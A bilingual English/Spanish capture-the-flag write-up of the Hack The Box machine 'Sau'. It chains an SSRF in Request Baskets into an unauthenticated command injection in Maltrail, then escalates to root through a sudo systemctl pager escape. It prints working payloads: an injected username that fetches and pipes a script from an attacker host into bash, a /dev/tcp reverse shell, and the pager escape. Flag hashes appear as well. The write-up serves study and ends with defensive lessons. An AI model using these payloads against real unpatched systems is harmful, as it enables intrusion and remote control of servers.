Sau
Executive summary — Sau chains an SSRF in Request Baskets (CVE-2023-27163) to reach an internal service blocked by the perimeter firewall, an unauthenticated command injection in that service (Maltrail, CVE-2023-27148) that gives the initial shell, and a privilege escalation abusing the fact that
systemctl statuslaunches a pager withsudo's privileges — the pager lets you run a shell with!.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.229.26 |
Attack map
[55555] Request Baskets v1.2.1 — basket created without authentication
│ CVE-2023-27163 — forward_url doesn't validate the destination (SSRF)
▼
[127.0.0.1:80] Maltrail 0.53 — only reachable on localhost, behind the firewall
│ CVE-2023-27148 — unauthenticated OS command injection
│ (username parameter on the /login endpoint, via the SSRF proxy)
▼
[RCE] puma (maltrail service account) → user.txt
│ sudo NOPASSWD: systemctl status trail.service
│ with a real TTY, systemctl invokes the pager (less) as root
▼
[ROOT] pager escape ("!/bin/sh") → root shell → root.txt
1. Enumeration
sudo nmap -p- --min-rate 3000 -T4 -Pn -n -oA nmap_all 10.129.229.26
PORT STATE SERVICE
22/tcp open ssh
80/tcp filtered http
8338/tcp filtered unknown
55555/tcp open unknown
Ports 80 and 8338 show as filtered, not closed: the firewall is silently dropping packets rather than rejecting them. First hint that there are internal services unreachable from outside — for now, the only real web surface is port 55555.
sudo nmap -p22,80,8338,55555 -sC -sV -Pn -n -oA nmap_svc 10.129.229.26
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
55555/tcp open http Golang net/http server
| http-title: Request Baskets
|_Requested resource was /web
Port 55555 serves Request Baskets (darklynx/basket), an open-source "request bin" style tool: it creates "baskets" with a unique URL, captures the HTTP requests that hit it, and, if configured, forwards them as a proxy to a destination URL.
Resumen ejecutivo — Sau encadena un SSRF en Request Baskets (CVE-2023-27163) para alcanzar un servicio interno bloqueado por el firewall perimetral, una inyección de comandos no autenticada en ese servicio (Maltrail, CVE-2023-27148) que da la shell inicial, y una escalada a root abusando de que
systemctl statuslanza un pager con los privilegios desudo— el pager permite ejecutar un shell con!.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.229.26 |
Mapa del ataque
[55555] Request Baskets v1.2.1 — cesta creada sin autenticación
│ CVE-2023-27163 — forward_url no valida el destino (SSRF)
▼
[127.0.0.1:80] Maltrail 0.53 — solo accesible en localhost, tras el firewall
│ CVE-2023-27148 — inyección de comandos OS sin autenticar
│ (parámetro username del endpoint /login, vía el proxy SSRF)
▼
[RCE] puma (cuenta del servicio maltrail) → user.txt
│ sudo NOPASSWD: systemctl status trail.service
│ con TTY real, systemctl invoca el pager (less) como root
▼
[ROOT] escape del pager ("!/bin/sh") → shell root → root.txt
1. Enumeración
sudo nmap -p- --min-rate 3000 -T4 -Pn -n -oA nmap_all 10.129.229.26
PORT STATE SERVICE
22/tcp open ssh
80/tcp filtered http
8338/tcp filtered unknown
55555/tcp open unknown
Los puertos 80 y 8338 aparecen como filtered, no closed: el firewall descarta los paquetes en silencio en lugar de rechazarlos. Es la primera pista de que hay servicios internos inalcanzables desde fuera — la única superficie web real, de momento, es el puerto 55555.
sudo nmap -p22,80,8338,55555 -sC -sV -Pn -n -oA nmap_svc 10.129.229.26
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
55555/tcp open http Golang net/http server
| http-title: Request Baskets
|_Requested resource was /web
El puerto 55555 sirve Request Baskets (darklynx/basket), una herramienta open-source tipo "request bin": crea "cestas" con URL única, captura las peticiones HTTP que le llegan y, si se configura, las reenvía como proxy hacia una URL de destino.
2. SSRF in Request Baskets (CVE-2023-27163)
When creating a basket you can set
forward_url: any request to/<basket>/...is forwarded as-is (same path, query, body and headers) to that URL, and the real response is returned ifproxy_responseis enabled. The application doesn't validate or restrict the destination — it happily accepts127.0.0.1and any internal port. Textbook SSRF: use the Request Baskets server itself as a proxy into ports 80/8338, markedfilteredby the perimeter firewall but perfectly reachable from inside the box. Tracked as CVE-2023-27163, affects Request Baskets ≤ v1.2.1.
Creating a basket requires no authentication:
curl -s -i -X POST http://10.129.229.26:55555/api/baskets/mybasket123 \
-H "Content-Type: application/json" \
-d '{"forward_url":"http://127.0.0.1:80","proxy_response":true,"insecure_tls":true,"expand_path":true}'
HTTP/1.1 201 Created
{"token":"e0OpfrAaXhHTpElm1bQKScqVjUtn4zeXsAJo6YnHvZft"}
forward_url points at the filtered internal port; proxy_response: true makes the real response from the destination come back to the client instead of a plain acknowledgement; expand_path: true lets any subpath after the basket name be appended and forwarded to the final destination.
curl -s -i http://10.129.229.26:55555/mybasket123/
HTTP/1.1 200 OK
Server: Maltrail/0.53
<title>Maltrail</title>
SSRF confirmed: through the basket we reach Maltrail 0.53 (stamparm/maltrail, a malicious traffic detection system), a service that normally only listens on 127.0.0.1:80 and is unreachable from the outside.
3. Unauthenticated RCE in Maltrail (CVE-2023-27148) → user.txt
Maltrail ≤ 0.53 has unauthenticated OS command injection in how it handles failed logins. When a login attempt fails, the server logs the event with
logger, building the command by directly concatenating the receivedusernameparameter without sanitizing it — the equivalent ofsubprocess.call(f'logger ... "Failed password for {username} ..."', shell=True). Confirmed by looking at the service's actual process tree:
/bin/sh -c logger -p auth.info -t "maltrail[879]" "Failed password for `curl${IFS}http://<ATTACKER_IP>:4444/rev.sh|bash` from 127.0.0.1 port 50378"
Blind confirmation via out-of-band (OOB) callback, through the SSRF tunnel itself (http://10.129.229.26:55555/mybasket123/login). The first attempt tried the obvious X-Forwarded-For vector with no luck; the actually vulnerable parameter is username on POST /login:
python3 -m http.server 4444 &
curl -s -X POST "http://10.129.229.26:55555/mybasket123/login" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'username=`curl${IFS}http://<ATTACKER_IP>:4444/u2`' \
--data-urlencode "password=test"
# on the local listener:
10.129.229.26 - - "GET /u2 HTTP/1.1" 404 -
The listener receives the request: command injection confirmed. ${IFS} is the standard trick to bypass space filters; there was no such filter here, but it's kept out of habit and robustness.
From blind injection to a reverse shell: serve a script and get the target to fetch and run it with the same technique.
#!/bin/bash
bash -i >& /dev/tcp/<ATTACKER_IP>/4446 0>&1
nc -lvnp 4446 &
curl -s -X POST "http://10.129.229.26:55555/mybasket123/login" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'username=`curl${IFS}http://<ATTACKER_IP>:4444/rev.sh|bash`' \
--data-urlencode "password=test"
listening on [any] 4446 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.229.26] 34044
bash: cannot set terminal process group (879): Inappropriate ioctl for device
bash: no job control in this shell
puma@sau:/opt/maltrail$ id
uid=1001(puma) gid=1001(puma) groups=1001(puma)
Shell as puma, the service account Maltrail runs under (Main PID: 879 (python3) → /usr/bin/python3 server.py). Technical note: the HTTP request that triggers the command stays "hung" while the reverse shell is alive, because the child process spawned by logger never terminates — curl doesn't return until the session is closed; expected behavior, not an error.
puma@sau:/opt/maltrail$ cat /home/puma/user.txt
56708e4a2835fdf037c5bbfa23390e1c
user.txt: 56708e4a2835fdf037c5bbfa23390e1c
4. Escalating to root — sudo systemctl status (pager escape)
puma@sau:/opt/maltrail$ sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass, secure_path=...
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
pumacan run, without a password, as any user (including root), exactlysystemctl status trail.service. The attack surface isn'tsystemctlitself, but a side effect: when the output is long and there's a real TTY attached,systemctl statusautomatically invokes a pager (lessormore) — the same behavior asgit logorman. And that's the problem: (1)less/morelet you run a shell command by pressing!followed by the command — legitimate pager functionality meant for normal interactive use; (2) when the binary runs viasudo, the pager it launches inherits those same privileges — ifsystemctl statusruns as root, thelessit opens also runs as root, and the shell escaped with!/bin/shwill be a root shell too. This is documented on GTFOBins undersystemctl(sudo → pager escape).
First attempt, no real pager — the reverse shell obtained earlier (bash -i >& /dev/tcp/...) is a plain socket, with no PTY attached:
puma@sau:/opt/maltrail$ sudo /usr/bin/systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
Active: active (running) since Mon 2026-08-03 22:20:19 UTC; 1h 13min ago
Main PID: 879 (python3)
puma@sau:/opt/maltrail$
Full output all at once, no pager: systemctl checks whether stdout is a real terminal (isatty()); since it isn't, it disables the pager automatically — equivalent to passing --no-pager. No PTY, no escape possible.
Fix: force a real PTY inside the session, the standard shell "upgrade" trick:
puma@sau:/opt/maltrail$ python3 -c "import pty; pty.spawn('/bin/bash')"
Repeating the sudo command inside this new session, the pager does show up this time:
puma@sau:/opt/maltrail$ sudo /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
- (press RETURN)
The warning shows up because TERM and a full raw mode weren't configured, but it's enough for the pager to work in its basic mode. RETURN to dismiss the warning, then the escape:
!/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
4007dcaa84d9d6cf0688ab0cefd8bf28
root.txt: 4007dcaa84d9d6cf0688ab0cefd8bf28
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Internal pivot | Request Baskets v1.2.1 (port 55555) | CVE-2023-27163 — unvalidated forward_url (SSRF) | Reaches Maltrail, an internal service blocked by the firewall |
| Foothold | Maltrail 0.53 — /login endpoint | CVE-2023-27148 — unauthenticated OS command injection via username | RCE as puma (user.txt) |
| PrivEsc | sudo systemctl status trail.service | Pager (less) escape inheriting sudo's privileges | Root shell (root.txt) |
Lessons learned
- A perimeter firewall doesn't protect against an SSRF originating from inside the server itself: if an application forwards requests to a configurable URL without validating it, any port "filtered" from the outside is still exposed through it.
- Any application that logs user-controlled input (username, headers...) has to treat it as untrusted even on the logging path: building a shell command by string concatenation (
shell=True+ f-string) is just as dangerous in an audit trail as anywhere else. - Authorizing in
sudoersa binary that can invoke a pager (systemctl status,git log,man,journalctl...) is equivalent to authorizing that pager with the same privileges. Always check the binary against GTFOBins before granting NOPASSWD, and consider forcing--no-pageror settingPAGER=catin the sudoers environment when the binary supports it.
2. SSRF en Request Baskets (CVE-2023-27163)
Al crear una cesta se puede fijar
forward_url: cualquier petición a/<cesta>/...se reenvía tal cual (mismo path, query, body y cabeceras) a esa URL, devolviendo la respuesta real si se activaproxy_response. La aplicación no valida ni restringe el destino — acepta127.0.0.1y cualquier puerto interno sin problema. Es el SSRF clásico: usar el propio servidor de Request Baskets como proxy hacia los puertos 80/8338, marcadosfilteredpor el firewall perimetral pero perfectamente accesibles desde dentro de la máquina. Vulnerabilidad conocida como CVE-2023-27163, afecta a Request Baskets ≤ v1.2.1.
Crear una cesta no requiere autenticación:
curl -s -i -X POST http://10.129.229.26:55555/api/baskets/mybasket123 \
-H "Content-Type: application/json" \
-d '{"forward_url":"http://127.0.0.1:80","proxy_response":true,"insecure_tls":true,"expand_path":true}'
HTTP/1.1 201 Created
{"token":"e0OpfrAaXhHTpElm1bQKScqVjUtn4zeXsAJo6YnHvZft"}
forward_url apunta al puerto interno filtrado; proxy_response: true hace que la respuesta real del destino vuelva al cliente en lugar de un simple acuse de recibo; expand_path: true permite añadir cualquier subruta tras el nombre de la cesta y que se propague al destino final.
curl -s -i http://10.129.229.26:55555/mybasket123/
HTTP/1.1 200 OK
Server: Maltrail/0.53
<title>Maltrail</title>
SSRF confirmado: a través de la cesta se llega a Maltrail 0.53 (stamparm/maltrail, un sistema de detección de tráfico malicioso), un servicio que normalmente solo escucha en 127.0.0.1:80 y que desde fuera es inalcanzable.
3. RCE no autenticada en Maltrail (CVE-2023-27148) → user.txt
Maltrail ≤ 0.53 tiene inyección de comandos OS no autenticada en el manejo de logins fallidos. Cuando un intento de login falla, el servidor registra el evento con
logger, construyendo el comando concatenando directamente el parámetrousernamerecibido, sin sanitizarlo — el equivalente asubprocess.call(f'logger ... "Failed password for {username} ..."', shell=True). Confirmado observando el árbol de procesos real del servicio:
/bin/sh -c logger -p auth.info -t "maltrail[879]" "Failed password for `curl${IFS}http://<ATTACKER_IP>:4444/rev.sh|bash` from 127.0.0.1 port 50378"
Confirmación ciega, vía callback fuera de banda (OOB), a través del propio túnel SSRF (http://10.129.229.26:55555/mybasket123/login). El primer intento probó el vector de moda, X-Forwarded-For, sin éxito; el parámetro realmente vulnerable es username del POST /login:
python3 -m http.server 4444 &
curl -s -X POST "http://10.129.229.26:55555/mybasket123/login" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'username=`curl${IFS}http://<ATTACKER_IP>:4444/u2`' \
--data-urlencode "password=test"
# en el listener local:
10.129.229.26 - - "GET /u2 HTTP/1.1" 404 -
El listener recibe la petición: inyección de comandos confirmada. ${IFS} es la técnica estándar para evadir filtros de espacios; aquí no había ningún filtro que evadir, pero se mantiene por costumbre y robustez.
De la inyección ciega a una reverse shell: se sirve un script y se hace que la víctima lo descargue y ejecute con la misma técnica.
#!/bin/bash
bash -i >& /dev/tcp/<ATTACKER_IP>/4446 0>&1
nc -lvnp 4446 &
curl -s -X POST "http://10.129.229.26:55555/mybasket123/login" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'username=`curl${IFS}http://<ATTACKER_IP>:4444/rev.sh|bash`' \
--data-urlencode "password=test"
listening on [any] 4446 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.229.26] 34044
bash: cannot set terminal process group (879): Inappropriate ioctl for device
bash: no job control in this shell
puma@sau:/opt/maltrail$ id
uid=1001(puma) gid=1001(puma) groups=1001(puma)
Shell como puma, la cuenta de servicio bajo la que corre Maltrail (Main PID: 879 (python3) → /usr/bin/python3 server.py). Nota técnica: la petición HTTP que dispara el comando queda "colgada" mientras la reverse shell sigue viva, porque el proceso hijo lanzado por logger nunca termina — el curl no retorna hasta que se cierra la sesión; comportamiento esperado, no un error.
puma@sau:/opt/maltrail$ cat /home/puma/user.txt
56708e4a2835fdf037c5bbfa23390e1c
user.txt: 56708e4a2835fdf037c5bbfa23390e1c
4. Escalada a root — sudo systemctl status (escape de pager)
puma@sau:/opt/maltrail$ sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass, secure_path=...
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
pumapuede ejecutar sin contraseña, como cualquier usuario (incluido root), exactamentesystemctl status trail.service. La superficie de ataque no está ensystemctlen sí, sino en un efecto colateral: cuando la salida es larga y hay un TTY real delante,systemctl statusinvoca automáticamente un pager (lessomore) — el mismo comportamiento quegit logoman. Y ahí está el problema: (1)less/morepermiten ejecutar un comando de shell pulsando!seguido del comando — funcionalidad legítima del pager, pensada para uso interactivo normal; (2) cuando el binario corre víasudo, el pager que lanza hereda esos mismos privilegios — sisystemctl statuscorre como root, ellessque abre también corre como root, y el shell que se escapa con!/bin/shtambién será una shell root. Técnica documentada en GTFOBins bajosystemctl(sudo → pager escape).
Primer intento, sin pager real — la reverse shell obtenida antes (bash -i >& /dev/tcp/...) es un socket plano, sin PTY asociado:
puma@sau:/opt/maltrail$ sudo /usr/bin/systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
Active: active (running) since Mon 2026-08-03 22:20:19 UTC; 1h 13min ago
Main PID: 879 (python3)
puma@sau:/opt/maltrail$
Salida completa de golpe, sin pager: systemctl comprueba si la salida estándar es un terminal real (isatty()); al no serlo, desactiva el pager automáticamente — el equivalente a pasar --no-pager. Sin PTY no hay escape posible.
Solución: forzar un PTY real dentro de la sesión, la técnica estándar de "upgrade" de shell:
puma@sau:/opt/maltrail$ python3 -c "import pty; pty.spawn('/bin/bash')"
Repitiendo el sudo dentro de esta nueva sesión, esta vez sí aparece el pager:
puma@sau:/opt/maltrail$ sudo /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
- (press RETURN)
El aviso aparece porque no se configuró TERM ni un modo raw completo, pero es suficiente para que el pager funcione en su modo básico. RETURN para pasar el aviso, y luego el escape:
!/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
4007dcaa84d9d6cf0688ab0cefd8bf28
root.txt: 4007dcaa84d9d6cf0688ab0cefd8bf28
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Pivote interno | Request Baskets v1.2.1 (puerto 55555) | CVE-2023-27163 — forward_url sin validar (SSRF) | Acceso a Maltrail, servicio interno bloqueado por firewall |
| Foothold | Maltrail 0.53 — endpoint /login | CVE-2023-27148 — inyección de comandos OS no autenticada vía username | RCE como puma (user.txt) |
| PrivEsc | sudo systemctl status trail.service | Escape del pager (less) heredando los privilegios de sudo | Shell root (root.txt) |
Lecciones aprendidas
- Un firewall perimetral no protege frente a un SSRF originado desde dentro del propio servidor: si una aplicación reenvía peticiones a una URL configurable sin validarla, cualquier puerto "filtered" desde fuera queda expuesto igualmente a través de ella.
- Toda aplicación que registra datos de entrada del usuario (nombre de usuario, cabeceras...) debe tratarlos como no confiables incluso en el camino de logging: construir un comando de shell por concatenación de texto (
shell=True+ f-string) es tan peligroso en una ruta de auditoría como en cualquier otra. - Autorizar en
sudoersun binario que puede invocar un pager (systemctl status,git log,man,journalctl...) equivale a autorizar ese pager con los mismos privilegios. Revisar siempre el binario contra GTFOBins antes de darle NOPASSWD, y considerar forzar--no-pagero fijarPAGER=caten el entorno de sudoers cuando el binario lo soporte.